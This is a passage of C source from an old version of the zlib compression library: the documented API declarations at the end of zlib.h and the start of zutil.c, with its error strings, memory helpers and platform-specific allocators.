#define Z_MEM_ERROR    (-4)
#define Z_BUF_ERROR    (-5)
#define Z_VERSION_ERROR (-6)
/* Return codes for the compression/decompression functions. Negative
 * values are errors, positive values are used for special but normal events.
 */

#define Z_NO_COMPRESSION         0
#define Z_BEST_SPEED             1
#define Z_BEST_COMPRESSION       9
#define Z_DEFAULT_COMPRESSION  (-1)
/* compression levels */

#define Z_FILTERED            1
#define Z_HUFFMAN_ONLY        2
#define Z_DEFAULT_STRATEGY    0
/* compression strategy; see deflateInit2() below for details */

#define Z_BINARY   0
#define Z_ASCII    1
#define Z_UNKNOWN  2
/* Possible values of the data_type field */

#define Z_DEFLATED   8
/* The deflate compression method (the only one supported in this version) */

#define Z_NULL  0  /* for initializing zalloc, zfree, opaque */

#define zlib_version zlibVersion()
/* for compatibility with versions < 1.0.2 */

                        /* basic functions */

ZEXTERN const char * ZEXPORT zlibVersion OF((void));
/* The application can compare zlibVersion and ZLIB_VERSION for consistency.
   If the first character differs, the library code actually used is
   not compatible with the zlib.h header file used by the application.
   This check is automatically made by deflateInit and inflateInit.
 */

/* 
ZEXTERN int ZEXPORT deflateInit OF((z_streamp strm, int level));

     Initializes the internal stream state for compression. The fields
   zalloc, zfree and opaque must be initialized before by the caller.
   If zalloc and zfree are set to Z_NULL, deflateInit updates them to
   use default allocation functions.

     The compression level must be Z_DEFAULT_COMPRESSION, or between 0 and 9:
   1 gives best speed, 9 gives best compression, 0 gives no compression at
   all (the input data is simply copied a block at a time).
   Z_DEFAULT_COMPRESSION requests a default compromise between speed and
   compression (currently equivalent to level 6).

     deflateInit returns Z_OK if success, Z_MEM_ERROR if there was not
   enough memory, Z_STREAM_ERROR if level is not a valid compression level,
   Z_VERSION_ERROR if the zlib library version (zlib_version) is incompatible
   with the version assumed by the caller (ZLIB_VERSION).
   msg is set to null if there is no error message.  deflateInit does not
   perform any compression: this will be done by deflate().
*/


ZEXTERN int ZEXPORT deflate OF((z_streamp strm, int flush));
/*
    deflate compresses as much data as possible, and stops when the input
  buffer becomes empty or the output buffer becomes full. It may introduce some
  output latency (reading input without producing any output) except when
  forced to flush.

    The detailed semantics are as follows. deflate performs one or both of the
  following actions:

  - Compress more input starting at next_in and update next_in and avail_in
    accordingly. If not all input can be processed (because there is not
    enough room in the output buffer), next_in and avail_in are updated and
    processing will resume at this point for the next call of deflate().

  - Provide more output starting at next_out and update next_out and avail_out
    accordingly. This action is forced if the parameter flush is non zero.
    Forcing flush frequently degrades the compression ratio, so this parameter
    should be set only when necessary (in interactive applications).
    Some output may be provided even if flush is not set.

  Before the call of deflate(), the application should ensure that at least
  one of the actions is possible, by providing more input and/or consuming
  more output, and updating avail_in or avail_out accordingly; avail_out
  should never be zero before the call. The application can consume the
  compressed output when it wants, for example when the output buffer is full
  (avail_out == 0), or after each call of deflate(). If deflate returns Z_OK
  and with zero avail_out, it must be called again after making room in the
  output buffer because there might be more output pending.

    If the parameter flush is set to Z_SYNC_FLUSH, all pending output is
  flushed to the output buffer and the output is aligned on a byte boundary, so
  that the decompressor can get all input data available so far. (In particular
  avail_in is zero after the call if enough output space has been provided
  before the call.)  Flushing may degrade compression for some compression
  algorithms and so it should be used only when necessary.

    If flush is set to Z_FULL_FLUSH, all output is flushed as with
  Z_SYNC_FLUSH, and the compression state is reset so that decompression can
  restart from this point if previous compressed data has been damaged or if
  random access is desired. Using Z_FULL_FLUSH too often can seriously degrade
  the compression.

    If deflate returns with avail_out == 0, this function must be called again
  with the same value of the flush parameter and more output space (updated
  avail_out), until the flush is complete (deflate returns with non-zero
  avail_out).

    If the parameter flush is set to Z_FINISH, pending input is processed,
  pending output is flushed and deflate returns with Z_STREAM_END if there
  was enough output space; if deflate returns with Z_OK, this function must be
  called again with Z_FINISH and more output space (updated avail_out) but no
  more input data, until it returns with Z_STREAM_END or an error. After
  deflate has returned Z_STREAM_END, the only possible operations on the
  stream are deflateReset or deflateEnd.
  
    Z_FINISH can be used immediately after deflateInit if all the compression
  is to be done in a single step. In this case, avail_out must be at least
  0.1% larger than avail_in plus 12 bytes.  If deflate does not return
  Z_STREAM_END, then it must be called again as described above.

    deflate() sets strm->adler to the adler32 checksum of all input read
  so far (that is, total_in bytes).

    deflate() may update data_type if it can make a good guess about
  the input data type (Z_ASCII or Z_BINARY). In doubt, the data is considered
  binary. This field is only for information purposes and does not affect
  the compression algorithm in any manner.

    deflate() returns Z_OK if some progress has been made (more input
  processed or more output produced), Z_STREAM_END if all input has been
  consumed and all output has been produced (only when flush is set to
  Z_FINISH), Z_STREAM_ERROR if the stream state was inconsistent (for example
  if next_in or next_out was NULL), Z_BUF_ERROR if no progress is possible
  (for example avail_in or avail_out was zero).
*/


ZEXTERN int ZEXPORT deflateEnd OF((z_streamp strm));
/*
     All dynamically allocated data structures for this stream are freed.
   This function discards any unprocessed input and does not flush any
   pending output.

     deflateEnd returns Z_OK if success, Z_STREAM_ERROR if the
   stream state was inconsistent, Z_DATA_ERROR if the stream was freed
   prematurely (some input or output was discarded). In the error case,
   msg may be set but then points to a static string (which must not be
   deallocated).
*/


/* 
ZEXTERN int ZEXPORT inflateInit OF((z_streamp strm));

     Initializes the internal stream state for decompression. The fields
   next_in, avail_in, zalloc, zfree and opaque must be initialized before by
   the caller. If next_in is not Z_NULL and avail_in is large enough (the exact
   value depends on the compression method), inflateInit determines the
   compression method from the zlib header and allocates all data structures
   accordingly; otherwise the allocation will be deferred to the first call of
   inflate.  If zalloc and zfree are set to Z_NULL, inflateInit updates them to
   use default allocation functions.

     inflateInit returns Z_OK if success, Z_MEM_ERROR if there was not enough
   memory, Z_VERSION_ERROR if the zlib library version is incompatible with the
   version assumed by the caller.  msg is set to null if there is no error
   message. inflateInit does not perform any decompression apart from reading
   the zlib header if present: this will be done by inflate().  (So next_in and
   avail_in may be modified, but next_out and avail_out are unchanged.)
*/


ZEXTERN int ZEXPORT inflate OF((z_streamp strm, int flush));
/*
    inflate decompresses as much data as possible, and stops when the input
  buffer becomes empty or the output buffer becomes full. It may some
  introduce some output latency (reading input without producing any output)
  except when forced to flush.

  The detailed semantics are as follows. inflate performs one or both of the
  following actions:

  - Decompress more input starting at next_in and update next_in and avail_in
    accordingly. If not all input can be processed (because there is not
    enough room in the output buffer), next_in is updated and processing
    will resume at this point for the next call of inflate().

  - Provide more output starting at next_out and update next_out and avail_out
    accordingly.  inflate() provides as much output as possible, until there
    is no more input data or no more space in the output buffer (see below
    about the flush parameter).

  Before the call of inflate(), the application should ensure that at least
  one of the actions is possible, by providing more input and/or consuming
  more output, and updating the next_* and avail_* values accordingly.
  The application can consume the uncompressed output when it wants, for
  example when the output buffer is full (avail_out == 0), or after each
  call of inflate(). If inflate returns Z_OK and with zero avail_out, it
  must be called again after making room in the output buffer because there
  might be more output pending.

    If the parameter flush is set to Z_SYNC_FLUSH, inflate flushes as much
  output as possible to the output buffer. The flushing behavior of inflate is
  not specified for values of the flush parameter other than Z_SYNC_FLUSH
  and Z_FINISH, but the current implementation actually flushes as much output
  as possible anyway.

    inflate() should normally be called until it returns Z_STREAM_END or an
  error. However if all decompression is to be performed in a single step
  (a single call of inflate), the parameter flush should be set to
  Z_FINISH. In this case all pending input is processed and all pending
  output is flushed; avail_out must be large enough to hold all the
  uncompressed data. (The size of the uncompressed data may have been saved
  by the compressor for this purpose.) The next operation on this stream must
  be inflateEnd to deallocate the decompression state. The use of Z_FINISH
  is never required, but can be used to inform inflate that a faster routine
  may be used for the single inflate() call.

     If a preset dictionary is needed at this point (see inflateSetDictionary
  below), inflate sets strm-adler to the adler32 checksum of the
  dictionary chosen by the compressor and returns Z_NEED_DICT; otherwise 
  it sets strm->adler to the adler32 checksum of all output produced
  so far (that is, total_out bytes) and returns Z_OK, Z_STREAM_END or
  an error code as described below. At the end of the stream, inflate()
  checks that its computed adler32 checksum is equal to that saved by the
  compressor and returns Z_STREAM_END only if the checksum is correct.

    inflate() returns Z_OK if some progress has been made (more input processed
  or more output produced), Z_STREAM_END if the end of the compressed data has
  been reached and all uncompressed output has been produced, Z_NEED_DICT if a
  preset dictionary is needed at this point, Z_DATA_ERROR if the input data was
  corrupted (input stream not conforming to the zlib format or incorrect
  adler32 checksum), Z_STREAM_ERROR if the stream structure was inconsistent
  (for example if next_in or next_out was NULL), Z_MEM_ERROR if there was not
  enough memory, Z_BUF_ERROR if no progress is possible or if there was not
  enough room in the output buffer when Z_FINISH is used. In the Z_DATA_ERROR
  case, the application may then call inflateSync to look for a good
  compression block.
*/


ZEXTERN int ZEXPORT inflateEnd OF((z_streamp strm));
/*
     All dynamically allocated data structures for this stream are freed.
   This function discards any unprocessed input and does not flush any
   pending output.

     inflateEnd returns Z_OK if success, Z_STREAM_ERROR if the stream state
   was inconsistent. In the error case, msg may be set but then points to a
   static string (which must not be deallocated).
*/

                        /* Advanced functions */

/*
    The following functions are needed only in some special applications.
*/

/*   
ZEXTERN int ZEXPORT deflateInit2 OF((z_streamp strm,
                                     int  level,
                                     int  method,
                                     int  windowBits,
                                     int  memLevel,
                                     int  strategy));

     This is another version of deflateInit with more compression options. The
   fields next_in, zalloc, zfree and opaque must be initialized before by
   the caller.

     The method parameter is the compression method. It must be Z_DEFLATED in
   this version of the library.

     The windowBits parameter is the base two logarithm of the window size
   (the size of the history buffer).  It should be in the range 8..15 for this
   version of the library. Larger values of this parameter result in better
   compression at the expense of memory usage. The default value is 15 if
   deflateInit is used instead.

     The memLevel parameter specifies how much memory should be allocated
   for the internal compression state. memLevel=1 uses minimum memory but
   is slow and reduces compression ratio; memLevel=9 uses maximum memory
   for optimal speed. The default value is 8. See zconf.h for total memory
   usage as a function of windowBits and memLevel.

     The strategy parameter is used to tune the compression algorithm. Use the
   value Z_DEFAULT_STRATEGY for normal data, Z_FILTERED for data produced by a
   filter (or predictor), or Z_HUFFMAN_ONLY to force Huffman encoding only (no
   string match).  Filtered data consists mostly of small values with a
   somewhat random distribution. In this case, the compression algorithm is
   tuned to compress them better. The effect of Z_FILTERED is to force more
   Huffman coding and less string matching; it is somewhat intermediate
   between Z_DEFAULT and Z_HUFFMAN_ONLY. The strategy parameter only affects
   the compression ratio but not the correctness of the compressed output even
   if it is not set appropriately.

      deflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
   memory, Z_STREAM_ERROR if a parameter is invalid (such as an invalid
   method). msg is set to null if there is no error message.  deflateInit2 does
   not perform any compression: this will be done by deflate().
*/
                            
ZEXTERN int ZEXPORT deflateSetDictionary OF((z_streamp strm,
                                             const Bytef *dictionary,
                                             uInt  dictLength));
/*
     Initializes the compression dictionary from the given byte sequence
   without producing any compressed output. This function must be called
   immediately after deflateInit, deflateInit2 or deflateReset, before any
   call of deflate. The compressor and decompressor must use exactly the same
   dictionary (see inflateSetDictionary).

     The dictionary should consist of strings (byte sequences) that are likely
   to be encountered later in the data to be compressed, with the most commonly
   used strings preferably put towards the end of the dictionary. Using a
   dictionary is most useful when the data to be compressed is short and can be
   predicted with good accuracy; the data can then be compressed better than
   with the default empty dictionary.

     Depending on the size of the compression data structures selected by
   deflateInit or deflateInit2, a part of the dictionary may in effect be
   discarded, for example if the dictionary is larger than the window size in
   deflate or deflate2. Thus the strings most likely to be useful should be
   put at the end of the dictionary, not at the front.

     Upon return of this function, strm->adler is set to the Adler32 value
   of the dictionary; the decompressor may later use this value to determine
   which dictionary has been used by the compressor. (The Adler32 value
   applies to the whole dictionary even if only a subset of the dictionary is
   actually used by the compressor.)

     deflateSetDictionary returns Z_OK if success, or Z_STREAM_ERROR if a
   parameter is invalid (such as NULL dictionary) or the stream state is
   inconsistent (for example if deflate has already been called for this stream
   or if the compression method is bsort). deflateSetDictionary does not
   perform any compression: this will be done by deflate().
*/

ZEXTERN int ZEXPORT deflateCopy OF((z_streamp dest,
                                    z_streamp source));
/*
     Sets the destination stream as a complete copy of the source stream.

     This function can be useful when several compression strategies will be
   tried, for example when there are several ways of pre-processing the input
   data with a filter. The streams that will be discarded should then be freed
   by calling deflateEnd.  Note that deflateCopy duplicates the internal
   compression state which can be quite large, so this strategy is slow and
   can consume lots of memory.

     deflateCopy returns Z_OK if success, Z_MEM_ERROR if there was not
   enough memory, Z_STREAM_ERROR if the source stream state was inconsistent
   (such as zalloc being NULL). msg is left unchanged in both source and
   destination.
*/

ZEXTERN int ZEXPORT deflateReset OF((z_streamp strm));
/*
     This function is equivalent to deflateEnd followed by deflateInit,
   but does not free and reallocate all the internal compression state.
   The stream will keep the same compression level and any other attributes
   that may have been set by deflateInit2.

      deflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source
   stream state was inconsistent (such as zalloc or state being NULL).
*/

ZEXTERN int ZEXPORT deflateParams OF((z_streamp strm,
				      int level,
				      int strategy));
/*
     Dynamically update the compression level and compression strategy.  The
   interpretation of level and strategy is as in deflateInit2.  This can be
   used to switch between compression and straight copy of the input data, or
   to switch to a different kind of input data requiring a different
   strategy. If the compression level is changed, the input available so far
   is compressed with the old level (and may be flushed); the new level will
   take effect only at the next call of deflate().

     Before the call of deflateParams, the stream state must be set as for
   a call of deflate(), since the currently available input may have to
   be compressed and flushed. In particular, strm->avail_out must be non-zero.

     deflateParams returns Z_OK if success, Z_STREAM_ERROR if the source
   stream state was inconsistent or if a parameter was invalid, Z_BUF_ERROR
   if strm->avail_out was zero.
*/

/*   
ZEXTERN int ZEXPORT inflateInit2 OF((z_streamp strm,
                                     int  windowBits));

     This is another version of inflateInit with an extra parameter. The
   fields next_in, avail_in, zalloc, zfree and opaque must be initialized
   before by the caller.

     The windowBits parameter is the base two logarithm of the maximum window
   size (the size of the history buffer).  It should be in the range 8..15 for
   this version of the library. The default value is 15 if inflateInit is used
   instead. If a compressed stream with a larger window size is given as
   input, inflate() will return with the error code Z_DATA_ERROR instead of
   trying to allocate a larger window.

      inflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
   memory, Z_STREAM_ERROR if a parameter is invalid (such as a negative
   memLevel). msg is set to null if there is no error message.  inflateInit2
   does not perform any decompression apart from reading the zlib header if
   present: this will be done by inflate(). (So next_in and avail_in may be
   modified, but next_out and avail_out are unchanged.)
*/

ZEXTERN int ZEXPORT inflateSetDictionary OF((z_streamp strm,
                                             const Bytef *dictionary,
                                             uInt  dictLength));
/*
     Initializes the decompression dictionary from the given uncompressed byte
   sequence. This function must be called immediately after a call of inflate
   if this call returned Z_NEED_DICT. The dictionary chosen by the compressor
   can be determined from the Adler32 value returned by this call of
   inflate. The compressor and decompressor must use exactly the same
   dictionary (see deflateSetDictionary).

     inflateSetDictionary returns Z_OK if success, Z_STREAM_ERROR if a
   parameter is invalid (such as NULL dictionary) or the stream state is
   inconsistent, Z_DATA_ERROR if the given dictionary doesn't match the
   expected one (incorrect Adler32 value). inflateSetDictionary does not
   perform any decompression: this will be done by subsequent calls of
   inflate().
*/

ZEXTERN int ZEXPORT inflateSync OF((z_streamp strm));
/* 
    Skips invalid compressed data until a full flush point (see above the
  description of deflate with Z_FULL_FLUSH) can be found, or until all
  available input is skipped. No output is provided.

    inflateSync returns Z_OK if a full flush point has been found, Z_BUF_ERROR
  if no more input was provided, Z_DATA_ERROR if no flush point has been found,
  or Z_STREAM_ERROR if the stream structure was inconsistent. In the success
  case, the application may save the current current value of total_in which
  indicates where valid compressed data was found. In the error case, the
  application may repeatedly call inflateSync, providing more input each time,
  until success or end of the input data.
*/

ZEXTERN int ZEXPORT inflateReset OF((z_streamp strm));
/*
     This function is equivalent to inflateEnd followed by inflateInit,
   but does not free and reallocate all the internal decompression state.
   The stream will keep attributes that may have been set by inflateInit2.

      inflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source
   stream state was inconsistent (such as zalloc or state being NULL).
*/


                        /* utility functions */

/*
     The following utility functions are implemented on top of the
   basic stream-oriented functions. To simplify the interface, some
   default options are assumed (compression level and memory usage,
   standard memory allocation functions). The source code of these
   utility functions can easily be modified if you need special options.
*/

ZEXTERN int ZEXPORT compress OF((Bytef *dest,   uLongf *destLen,
                                 const Bytef *source, uLong sourceLen));
/*
     Compresses the source buffer into the destination buffer.  sourceLen is
   the byte length of the source buffer. Upon entry, destLen is the total
   size of the destination buffer, which must be at least 0.1% larger than
   sourceLen plus 12 bytes. Upon exit, destLen is the actual size of the
   compressed buffer.
     This function can be used to compress a whole file at once if the
   input file is mmap'ed.
     compress returns Z_OK if success, Z_MEM_ERROR if there was not
   enough memory, Z_BUF_ERROR if there was not enough room in the output
   buffer.
*/

ZEXTERN int ZEXPORT compress2 OF((Bytef *dest,   uLongf *destLen,
                                  const Bytef *source, uLong sourceLen,
                                  int level));
/*
     Compresses the source buffer into the destination buffer. The level
   parameter has the same meaning as in deflateInit.  sourceLen is the byte
   length of the source buffer. Upon entry, destLen is the total size of the
   destination buffer, which must be at least 0.1% larger than sourceLen plus
   12 bytes. Upon exit, destLen is the actual size of the compressed buffer.

     compress2 returns Z_OK if success, Z_MEM_ERROR if there was not enough
   memory, Z_BUF_ERROR if there was not enough room in the output buffer,
   Z_STREAM_ERROR if the level parameter is invalid.
*/

ZEXTERN int ZEXPORT uncompress OF((Bytef *dest,   uLongf *destLen,
                                   const Bytef *source, uLong sourceLen));
/*
     Decompresses the source buffer into the destination buffer.  sourceLen is
   the byte length of the source buffer. Upon entry, destLen is the total
   size of the destination buffer, which must be large enough to hold the
   entire uncompressed data. (The size of the uncompressed data must have
   been saved previously by the compressor and transmitted to the decompressor
   by some mechanism outside the scope of this compression library.)
   Upon exit, destLen is the actual size of the compressed buffer.
     This function can be used to decompress a whole file at once if the
   input file is mmap'ed.

     uncompress returns Z_OK if success, Z_MEM_ERROR if there was not
   enough memory, Z_BUF_ERROR if there was not enough room in the output
   buffer, or Z_DATA_ERROR if the input data was corrupted.
*/


typedef voidp gzFile;

ZEXTERN gzFile ZEXPORT gzopen  OF((const char *path, const char *mode));
/*
     Opens a gzip (.gz) file for reading or writing. The mode parameter
   is as in fopen ("rb" or "wb") but can also include a compression level
   ("wb9") or a strategy: 'f' for filtered data as in "wb6f", 'h' for
   Huffman only compression as in "wb1h". (See the description
   of deflateInit2 for more information about the strategy parameter.)

     gzopen can be used to read a file which is not in gzip format; in this
   case gzread will directly read from the file without decompression.

     gzopen returns NULL if the file could not be opened or if there was
   insufficient memory to allocate the (de)compression state; errno
   can be checked to distinguish the two cases (if errno is zero, the
   zlib error is Z_MEM_ERROR).  */

ZEXTERN gzFile ZEXPORT gzdopen  OF((int fd, const char *mode));
/*
     gzdopen() associates a gzFile with the file descriptor fd.  File
   descriptors are obtained from calls like open, dup, creat, pipe or
   fileno (in the file has been previously opened with fopen).
   The mode parameter is as in gzopen.
     The next call of gzclose on the returned gzFile will also close the
   file descriptor fd, just like fclose(fdopen(fd), mode) closes the file
   descriptor fd. If you want to keep fd open, use gzdopen(dup(fd), mode).
     gzdopen returns NULL if there was insufficient memory to allocate
   the (de)compression state.
*/

ZEXTERN int ZEXPORT gzsetparams OF((gzFile file, int level, int strategy));
/*
     Dynamically update the compression level or strategy. See the description
   of deflateInit2 for the meaning of these parameters.
     gzsetparams returns Z_OK if success, or Z_STREAM_ERROR if the file was not
   opened for writing.
*/

ZEXTERN int ZEXPORT    gzread  OF((gzFile file, voidp buf, unsigned len));
/*
     Reads the given number of uncompressed bytes from the compressed file.
   If the input file was not in gzip format, gzread copies the given number
   of bytes into the buffer.
     gzread returns the number of uncompressed bytes actually read (0 for
   end of file, -1 for error). */

ZEXTERN int ZEXPORT    gzwrite OF((gzFile file, 
				   const voidp buf, unsigned len));
/*
     Writes the given number of uncompressed bytes into the compressed file.
   gzwrite returns the number of uncompressed bytes actually written
   (0 in case of error).
*/

ZEXTERN int ZEXPORTVA   gzprintf OF((gzFile file, const char *format, ...));
/*
     Converts, formats, and writes the args to the compressed file under
   control of the format string, as in fprintf. gzprintf returns the number of
   uncompressed bytes actually written (0 in case of error).
*/

ZEXTERN int ZEXPORT gzputs OF((gzFile file, const char *s));
/*
      Writes the given null-terminated string to the compressed file, excluding
   the terminating null character.
      gzputs returns the number of characters written, or -1 in case of error.
*/

ZEXTERN char * ZEXPORT gzgets OF((gzFile file, char *buf, int len));
/*
      Reads bytes from the compressed file until len-1 characters are read, or
   a newline character is read and transferred to buf, or an end-of-file
   condition is encountered.  The string is then terminated with a null
   character.
      gzgets returns buf, or Z_NULL in case of error.
*/

ZEXTERN int ZEXPORT    gzputc OF((gzFile file, int c));
/*
      Writes c, converted to an unsigned char, into the compressed file.
   gzputc returns the value that was written, or -1 in case of error.
*/

ZEXTERN int ZEXPORT    gzgetc OF((gzFile file));
/*
      Reads one byte from the compressed file. gzgetc returns this byte
   or -1 in case of end of file or error.
*/

ZEXTERN int ZEXPORT    gzflush OF((gzFile file, int flush));
/*
     Flushes all pending output into the compressed file. The parameter
   flush is as in the deflate() function. The return value is the zlib
   error number (see function gzerror below). gzflush returns Z_OK if
   the flush parameter is Z_FINISH and all output could be flushed.
     gzflush should be called only when strictly necessary because it can
   degrade compression.
*/

ZEXTERN z_off_t ZEXPORT    gzseek OF((gzFile file,
				      z_off_t offset, int whence));
/* 
      Sets the starting position for the next gzread or gzwrite on the
   given compressed file. The offset represents a number of bytes in the
   uncompressed data stream. The whence parameter is defined as in lseek(2);
   the value SEEK_END is not supported.
     If the file is opened for reading, this function is emulated but can be
   extremely slow. If the file is opened for writing, only forward seeks are
   supported; gzseek then compresses a sequence of zeroes up to the new
   starting position.

      gzseek returns the resulting offset location as measured in bytes from
   the beginning of the uncompressed stream, or -1 in case of error, in
   particular if the file is opened for writing and the new starting position
   would be before the current position.
*/

ZEXTERN int ZEXPORT    gzrewind OF((gzFile file));
/*
     Rewinds the given file. This function is supported only for reading.

   gzrewind(file) is equivalent to (int)gzseek(file, 0L, SEEK_SET)
*/

ZEXTERN z_off_t ZEXPORT    gztell OF((gzFile file));
/*
     Returns the starting position for the next gzread or gzwrite on the
   given compressed file. This position represents a number of bytes in the
   uncompressed data stream.

   gztell(file) is equivalent to gzseek(file, 0L, SEEK_CUR)
*/

ZEXTERN int ZEXPORT gzeof OF((gzFile file));
/*
     Returns 1 when EOF has previously been detected reading the given
   input stream, otherwise zero.
*/

ZEXTERN int ZEXPORT    gzclose OF((gzFile file));
/*
     Flushes all pending output if necessary, closes the compressed file
   and deallocates all the (de)compression state. The return value is the zlib
   error number (see function gzerror below).
*/

ZEXTERN const char * ZEXPORT gzerror OF((gzFile file, int *errnum));
/*
     Returns the error message for the last error which occurred on the
   given compressed file. errnum is set to zlib error number. If an
   error occurred in the file system and not in the compression library,
   errnum is set to Z_ERRNO and the application may consult errno
   to get the exact error code.
*/

                        /* checksum functions */

/*
     These functions are not related to compression but are exported
   anyway because they might be useful in applications using the
   compression library.
*/

ZEXTERN uLong ZEXPORT adler32 OF((uLong adler, const Bytef *buf, uInt len));

/*
     Update a running Adler-32 checksum with the bytes buf[0..len-1] and
   return the updated checksum. If buf is NULL, this function returns
   the required initial value for the checksum.
   An Adler-32 checksum is almost as reliable as a CRC32 but can be computed
   much faster. Usage example:

     uLong adler = adler32(0L, Z_NULL, 0);

     while (read_buffer(buffer, length) != EOF) {
       adler = adler32(adler, buffer, length);
     }
     if (adler != original_adler) error();
*/

ZEXTERN uLong ZEXPORT crc32   OF((uLong crc, const Bytef *buf, uInt len));
/*
     Update a running crc with the bytes buf[0..len-1] and return the updated
   crc. If buf is NULL, this function returns the required initial value
   for the crc. Pre- and post-conditioning (one's complement) is performed
   within this function so it shouldn't be done by the application.
   Usage example:

     uLong crc = crc32(0L, Z_NULL, 0);

     while (read_buffer(buffer, length) != EOF) {
       crc = crc32(crc, buffer, length);
     }
     if (crc != original_crc) error();
*/


                        /* various hacks, don't look :) */

/* deflateInit and inflateInit are macros to allow checking the zlib version
 * and the compiler's view of z_stream:
 */
ZEXTERN int ZEXPORT deflateInit_ OF((z_streamp strm, int level,
                                     const char *version, int stream_size));
ZEXTERN int ZEXPORT inflateInit_ OF((z_streamp strm,
                                     const char *version, int stream_size));
ZEXTERN int ZEXPORT deflateInit2_ OF((z_streamp strm, int  level, int  method,
                                      int windowBits, int memLevel,
                                      int strategy, const char *version,
                                      int stream_size));
ZEXTERN int ZEXPORT inflateInit2_ OF((z_streamp strm, int  windowBits,
                                      const char *version, int stream_size));
#define deflateInit(strm, level) \
        deflateInit_((strm), (level),       ZLIB_VERSION, sizeof(z_stream))
#define inflateInit(strm) \
        inflateInit_((strm),                ZLIB_VERSION, sizeof(z_stream))
#define deflateInit2(strm, level, method, windowBits, memLevel, strategy) \
        deflateInit2_((strm),(level),(method),(windowBits),(memLevel),\
                      (strategy),           ZLIB_VERSION, sizeof(z_stream))
#define inflateInit2(strm, windowBits) \
        inflateInit2_((strm), (windowBits), ZLIB_VERSION, sizeof(z_stream))


#if !defined(_Z_UTIL_H) && !defined(NO_DUMMY_DECL)
    struct internal_state {int dummy;}; /* hack for buggy compilers */
#endif

ZEXTERN const char   * ZEXPORT zError           OF((int err));
ZEXTERN int            ZEXPORT inflateSyncPoint OF((z_streamp z));
ZEXTERN const uLongf * ZEXPORT get_crc_table    OF((void));

#ifdef __cplusplus
}
#endif

#endif /* _ZLIB_H */








源码/Zip/zutil.c

/* zutil.c -- target dependent utility functions for the compression library
 * Copyright (C) 1995-2002 Jean-loup Gailly.
 * For conditions of distribution and use, see copyright notice in zlib.h 
 */

/* @(#) $Id$ */

#include "zutil.h"

struct internal_state      {int dummy;}; /* for buggy compilers */

#ifndef STDC
extern void exit OF((int));
#endif

const char *z_errmsg[10] = {
"need dictionary",     /* Z_NEED_DICT       2  */
"stream end",          /* Z_STREAM_END      1  */
"",                    /* Z_OK              0  */
"file error",          /* Z_ERRNO         (-1) */
"stream error",        /* Z_STREAM_ERROR  (-2) */
"data error",          /* Z_DATA_ERROR    (-3) */
"insufficient memory", /* Z_MEM_ERROR     (-4) */
"buffer error",        /* Z_BUF_ERROR     (-5) */
"incompatible version",/* Z_VERSION_ERROR (-6) */
""};


const char * ZEXPORT zlibVersion()
{
    return ZLIB_VERSION;
}

#ifdef DEBUG

#  ifndef verbose
#    define verbose 0
#  endif
int z_verbose = verbose;

void z_error (m)
    char *m;
{
    fprintf(stderr, "%s\n", m);
    exit(1);
}
#endif

/* exported to allow conversion of error code to string for compress() and
 * uncompress()
 */
const char * ZEXPORT zError(err)
    int err;
{
    return ERR_MSG(err);
}


#ifndef HAVE_MEMCPY

void zmemcpy(dest, source, len)
    Bytef* dest;
    const Bytef* source;
    uInt  len;
{
    if (len == 0) return;
    do {
        *dest++ = *source++; /* ??? to be unrolled */
    } while (--len != 0);
}

int zmemcmp(s1, s2, len)
    const Bytef* s1;
    const Bytef* s2;
    uInt  len;
{
    uInt j;

    for (j = 0; j < len; j++) {
        if (s1[j] != s2[j]) return 2*(s1[j] > s2[j])-1;
    }
    return 0;
}

void zmemzero(dest, len)
    Bytef* dest;
    uInt  len;
{
    if (len == 0) return;
    do {
        *dest++ = 0;  /* ??? to be unrolled */
    } while (--len != 0);
}
#endif

#ifdef __TURBOC__
#if (defined( __BORLANDC__) || !defined(SMALL_MEDIUM)) && !defined(__32BIT__)
/* Small and medium model in Turbo C are for now limited to near allocation
 * with reduced MAX_WBITS and MAX_MEM_LEVEL
 */
#  define MY_ZCALLOC

/* Turbo C malloc() does not allow dynamic allocation of 64K bytes
 * and farmalloc(64K) returns a pointer with an offset of 8, so we
 * must fix the pointer. Warning: the pointer must be put back to its
 * original form in order to free it, use zcfree().
 */

#define MAX_PTR 10
/* 10*64K = 640K */

local int next_ptr = 0;

typedef struct ptr_table_s {
    voidpf org_ptr;
    voidpf new_ptr;
} ptr_table;

local ptr_table table[MAX_PTR];
/* This table is used to remember the original form of pointers
 * to large buffers (64K). Such pointers are normalized with a zero offset.
 * Since MSDOS is not a preemptive multitasking OS, this table is not
 * protected from concurrent access. This hack doesn't work anyway on
 * a protected system like OS/2. Use Microsoft C instead.
 */

voidpf zcalloc (voidpf opaque, unsigned items, unsigned size)
{
    voidpf buf = opaque; /* just to make some compilers happy */
    ulg bsize = (ulg)items*size;

    /* If we allocate less than 65520 bytes, we assume that farmalloc
     * will return a usable pointer which doesn't have to be normalized.
     */
    if (bsize < 65520L) {
        buf = farmalloc(bsize);
        if (*(ush*)&buf != 0) return buf;
    } else {
        buf = farmalloc(bsize + 16L);
    }
    if (buf == NULL || next_ptr >= MAX_PTR) return NULL;
    table[next_ptr].org_ptr = buf;

    /* Normalize the pointer to seg:0 */
    *((ush*)&buf+1) += ((ush)((uch*)buf-0) + 15) >> 4;
    *(ush*)&buf = 0;
    table[next_ptr++].new_ptr = buf;
    return buf;
}

void  zcfree (voidpf opaque, voidpf ptr)
{
    int n;
    if (*(ush*)&ptr != 0) { /* object < 64K */
        farfree(ptr);
        return;
    }
    /* Find the original pointer */
    for (n = 0; n < next_ptr; n++) {
        if (ptr != table[n].new_ptr) continue;

        farfree(table[n].org_ptr);
        while (++n < next_ptr) {
            table[n-1] = table[n];
        }
        next_ptr--;
        return;
    }
    ptr = opaque; /* just to make some compilers happy */
    Assert(0, "zcfree: ptr not found");
}
#endif
#endif /* __TURBOC__ */


#if defined(M_I86) && !defined(__32BIT__)
/* Microsoft C in 16-bit mode */

#  define MY_ZCALLOC

#if (!defined(_MSC_VER) || (_MSC_VER <= 600))
#  define _halloc  halloc
#  define _hfree   hfree
#endif

voidpf zcalloc (voidpf opaque, unsigned items, unsigned size)
{
    if (opaque) opaque = 0; /* to make compiler happy */
    return _halloc((long)items, size);
}

void  zcfree (voidpf opaque, voidpf ptr)
{
    if (opaque) opaque = 0; /* to make compiler happy */
    _hfree(ptr);
}

#endif /* MSC */


#ifndef MY_ZCALLOC /* Any system without a special alloc function */

#ifndef STDC
extern voidp  calloc OF((uInt items, uInt size));
